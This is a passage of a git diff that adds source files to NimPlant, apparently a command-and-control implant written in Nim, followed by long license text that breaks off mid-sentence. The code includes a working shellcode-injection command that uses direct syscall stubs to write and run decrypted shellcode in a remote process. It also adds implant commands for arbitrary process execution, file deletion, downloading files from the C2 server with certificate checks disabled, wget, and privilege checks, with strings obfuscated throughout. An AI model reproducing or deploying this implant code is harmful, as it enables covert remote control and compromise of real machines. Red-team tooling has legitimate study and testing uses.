winim/lean + +proc shinject*(li : Listener, args : varargs[string]) : string = + # This should not happen due to preprocessing + if not args.len >= 3: + result = obf("Invalid number of arguments received. Usage: 'shinject [PID] [localfilepath]'.") + return + + let + processId: int = parseInt(args[0]) + shellcodeB64: string = args[1] + currProcess = GetCurrentProcessId() + var + ret: WINBOOL + hProcess: HANDLE + hProcessCurr: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, currProcess) + hThread: HANDLE + oa: OBJECT_ATTRIBUTES + ci: CLIENT_ID + allocAddr: LPVOID + bytesWritten: SIZE_T + oldProtect: DWORD + + result = obf("Injecting shellcode into remote process with PID ") & $processId & obf("...\n") + + ci.UniqueProcess = processId + + let sysNtOpenProcess = VirtualAllocEx( + hProcessCurr, + NULL, + cast[SIZE_T](SYSCALL_STUB_SIZE), + MEM_COMMIT, + PAGE_EXECUTE_READ_WRITE) + + var dNtOpenProcess: NtOpenProcess = cast[NtOpenProcess](cast[LPVOID](sysNtOpenProcess)); + VirtualProtect(cast[LPVOID](sysNtOpenProcess), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); + discard GetSyscallStub("NtOpenProcess", cast[LPVOID](sysNtOpenProcess)); + + var sysNtAllocateVirtualMemory: HANDLE = cast[HANDLE](sysNtOpenProcess) + cast[HANDLE](SYSCALL_STUB_SIZE) + let dNtAllocateVirtualMemory = cast[NtAllocateVirtualMemory](cast[LPVOID](sysNtAllocateVirtualMemory)); + VirtualProtect(cast[LPVOID](sysNtAllocateVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); + discard GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](sysNtAllocateVirtualMemory)); + + var sysNtWriteVirtualMemory: HANDLE = cast[HANDLE](sysNtAllocateVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) + let dNtWriteVirtualMemory = cast[NtWriteVirtualMemory](cast[LPVOID](sysNtWriteVirtualMemory)); + VirtualProtect(cast[LPVOID](sysNtWriteVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); + discard GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](sysNtWriteVirtualMemory)); + + var sysNtProtectVirtualMemory: HANDLE = cast[HANDLE](sysNtWriteVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) + let dNtProtectVirtualMemory = cast[NtProtectVirtualMemory](cast[LPVOID](sysNtProtectVirtualMemory)); + VirtualProtect(cast[LPVOID](sysNtProtectVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); + discard GetSyscallStub("NtProtectVirtualMemory", cast[LPVOID](sysNtProtectVirtualMemory)); + + var sysNtCreateThreadEx: HANDLE = cast[HANDLE](sysNtProtectVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) + let dNtCreateThreadEx = cast[NtCreateThreadEx](cast[LPVOID](sysNtCreateThreadEx)); + VirtualProtect(cast[LPVOID](sysNtCreateThreadEx), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); + discard GetSyscallStub("NtCreateThreadEx", cast[LPVOID](sysNtCreateThreadEx)); + + ret = dNtOpenProcess( + addr hProcess, + PROCESS_ALL_ACCESS, + addr oa, + addr ci) + + if (ret == 0): + result.add(obf("[+] NtOpenProcess OK\n")) + # result.add(obf(" \\_ Process handle: ") & $hProcess & obf("\n")) + else: + result.add(obf("[-] NtOpenProcess failed! Check if the target PID exists and that you have the appropriate permissions\n")) + return + + var decrypted = decryptData(shellcodeB64, li.cryptKey) + var decompressed: string = uncompress(cast[string](decrypted)) + + var shellcode: seq[byte] = newSeq[byte](decompressed.len) + var shellcodeSize: SIZE_T = cast[SIZE_T](decompressed.len) + copyMem(shellcode[0].addr, decompressed[0].addr, decompressed.len) + + ret = dNtAllocateVirtualMemory( + hProcess, + addr allocAddr, + 0, + addr shellcodeSize, + MEM_COMMIT, + PAGE_READWRITE) + + if (ret == 0): + result.add(obf("[+] NtAllocateVirtualMemory OK\n")) + else: + result.add(obf("[-] NtAllocateVirtualMemory failed!\n")) + return + + ret = dNtWriteVirtualMemory( + hProcess, + allocAddr, + unsafeAddr shellcode[0], + shellcodeSize, + addr bytesWritten) + + if (ret == 0): + result.add(obf("[+] NtWriteVirtualMemory OK\n")) + result.add(obf(" \\_ Bytes written: ") & $bytesWritten & obf(" bytes\n")) + else: + result.add(obf("[-] NtWriteVirtualMemory failed!\n")) + return + + var protectAddr = allocAddr + var shellcodeSize2: SIZE_T = cast[SIZE_T](shellcode.len) + + ret = dNtProtectVirtualMemory( + hProcess, + addr protectAddr, + addr shellcodeSize2, + PAGE_EXECUTE_READ, + addr oldProtect) + + if (ret == 0): + result.add(obf("[+] NtProtectVirtualMemory OK\n")) + else: + result.add(obf("[-] NtProtectVirtualMemory failed!\n")) + return + + ret = dNtCreateThreadEx( + addr hThread, + THREAD_ALL_ACCESS, + NULL, + hProcess, + allocAddr, + NULL, + FALSE, + 0, + 0, + 0, + NULL) + + if (ret == 0): + result.add(obf("[+] NtCreateThreadEx OK\n")) + # result.add(obf(" \\_ Thread handle: ") & $hThread & obf("\n")) + else: + result.add(obf("[-] NtCreateThreadEx failed!\n")) + return + + CloseHandle(hThread) + CloseHandle(hProcess) + + result.add(obf("[+] Injection successful!")) \ No newline at end of file diff --git a/client/commands/rm.nim b/client/commands/rm.nim new file mode 100644 index 0000000..bfe19f1 --- /dev/null +++ b/client/commands/rm.nim @@ -0,0 +1,15 @@ +from os import dirExists, removeDir, removeFile +from strutils import join + +# Remove a system file or folder +proc rm*(args : varargs[string]) : string = + var path = args.join(obf(" ")) + + if path == "": + result = obf("Invalid number of arguments received. Usage: 'rm [path]'.") + else: + if dirExists(path): + removeDir(path) + else: + removeFile(path) + result = obf("Removed '") & path & obf("'.") \ No newline at end of file diff --git a/client/commands/run.nim b/client/commands/run.nim new file mode 100644 index 0000000..741d23a --- /dev/null +++ b/client/commands/run.nim @@ -0,0 +1,17 @@ +import osproc + +# Execute a binary as a subprocess and return output +proc run*(args : varargs[string]) : string = + + var + target : string + arguments : seq[string] + + if args.len >= 1 and args[0] != "": + target = args[0] + arguments = args[1 .. ^1] + else: + result = obf("Invalid number of arguments received. Usage: 'run [binary] '.") + return + + result = execProcess(target, args=arguments, options={poUsePath, poStdErrToStdOut, poDaemon}) \ No newline at end of file diff --git a/client/commands/upload.nim b/client/commands/upload.nim new file mode 100644 index 0000000..4c8083c --- /dev/null +++ b/client/commands/upload.nim @@ -0,0 +1,61 @@ +from ../util/webClient import Listener +from os import getcurrentdir, `/` +from strutils import join, split, toLowerAscii +from zippy import uncompress +import ../util/crypto +import puppy + +# Upload a file from the C2 server to NimPlant +# From NimPlant's perspective this is similar to wget, but calling to the C2 server instead +proc upload*(li : Listener, cmdGuid : string, args : varargs[string]) : string = + var + fileId : string + fileName : string + filePath : string + url : string + + if args.len == 2 and args[0] != "" and args[1] != "": + fileId = args[0] + fileName = args[1] + filePath = getCurrentDir()/fileName + elif args.len >= 3: + fileId = args[0] + fileName = args[1] + filePath = args[2 .. ^1].join(obf(" ")) + else: + # Handling of the second argument (filename) is done by the python server + result = obf("Invalid number of arguments received. Usage: 'upload [local file] '.") + return + + url = toLowerAscii(li.listenerType) & obf("://") + if li.listenerHost != "": + url = url & li.listenerHost + else: + url = url & li.listenerIp & obf(":") & li.listenerPort + url = url & li.taskpath & obf("/") & fileId + + # Get the file - Puppy will take care of transparent deflation of the gzip layer + let req = Request( + url: parseUrl(url), + headers: @[ + Header(key: obf("User-Agent"), value: li.userAgent), + Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID + Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID + ], + allowAnyHttpsCertificate: true, + ) + let res: Response = fetch(req) + + # Check the result + if res.code != 200: + result = obf("Something went wrong uploading the file (NimPlant did not receive response from staging server '") & url & obf("').") + return + + # Handle the encrypted and compressed response + var dec = decryptData(res.body, li.cryptKey) + var decStr: string = cast[string](dec) + var fileBuffer: seq[byte] = convertToByteSeq(uncompress(decStr)) + + # Write the file to the target path + filePath.writeFile(fileBuffer) + result = obf("Uploaded file to '") & filePath & obf("'.") \ No newline at end of file diff --git a/client/commands/wget.nim b/client/commands/wget.nim new file mode 100644 index 0000000..8aef24c --- /dev/null +++ b/client/commands/wget.nim @@ -0,0 +1,32 @@ +import puppy +from strutils import join, split +from os import getcurrentdir, `/` +from ../util/webClient import Listener + +# Curl an HTTP webpage to stdout +proc wget*(li : Listener, args : varargs[string]) : string = + var + url : string + filename : string + res : string + + if args.len == 1 and args[0] != "": + url = args[0] + filename = getCurrentDir()/url.split(obf("/"))[^1] + elif args.len >= 2: + url = args[0] + filename = args[1 .. ^1].join(obf(" ")) + else: + result = obf("Invalid number of arguments received. Usage: 'wget [URL] '.") + return + + res = fetch( + url, + headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] + ) + + if res == "": + result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'wget https://yourhost.com/file.exe'.") + else: + filename.writeFile(res) + result = obf("Downloaded file from '") & url & obf("' to '") & filename & obf("'.") \ No newline at end of file diff --git a/client/commands/whoami.nim b/client/commands/whoami.nim new file mode 100644 index 0000000..ce3760c --- /dev/null +++ b/client/commands/whoami.nim @@ -0,0 +1,39 @@ +from winim/lean import GetUserName, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation, + TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, TCHAR +from winim/utils import `&` +import strutils +import ../util/strenc + +# Determine if the user is elevated (running in high-integrity context) +proc isUserElevated(): bool = + var + tokenHandle: HANDLE + elevation = TOKEN_ELEVATION() + cbsize: DWORD = 0 + + if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, cast[PHANDLE](addr(tokenHandle))) == 0: + when defined verbose: + echo obf("DEBUG: Cannot query tokens: ") & $GetLastError() + return false + + if GetTokenInformation(tokenHandle, tokenElevation, cast[LPVOID](addr(elevation)), cast[DWORD](sizeOf(elevation)), cast[PDWORD](addr(cbsize))) == 0: + when defined verbose: + echo obf("DEBUG: Cannot retrieve token information: ") & $GetLastError() + discard CloseHandle(tokenHandle) + return false + + result = elevation.TokenIsElevated != 0 + +# Get the current username via the GetUserName API +proc whoami*() : string = + var + buf : array[257, TCHAR] # 257 is UNLEN+1 (max username length plus null terminator) + lpBuf : LPWSTR = addr buf[0] + pcbBuf : DWORD = int32(len(buf)) + + discard GetUserName(lpBuf, &pcbBuf) + for character in buf: + if character == 0: break + result.add(char(character)) + if isUserElevated(): + result.add(obf("*")) \ No newline at end of file diff --git a/client/dist/srdi/LICENSE b/client/dist/srdi/LICENSE new file mode 100644 index 0000000..ad34879 --- /dev/null +++ b/client/dist/srdi/LICENSE @@ -0,0 +1,727 @@ +*********************************************************************************************** +PIC_BindShell primitives and related works are released under the license below. +*********************************************************************************************** + +Copyright (c) 2013, Matthew Graeber +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +*********************************************************************************************** +Reflective DLL Injection primitives and related works are released under the license below. +*********************************************************************************************** + +Copyright (c) 2015, Dan Staples + +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +*********************************************************************************************** +All other works under this project are licensed under GNU GPLv3 +*********************************************************************************************** + + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to 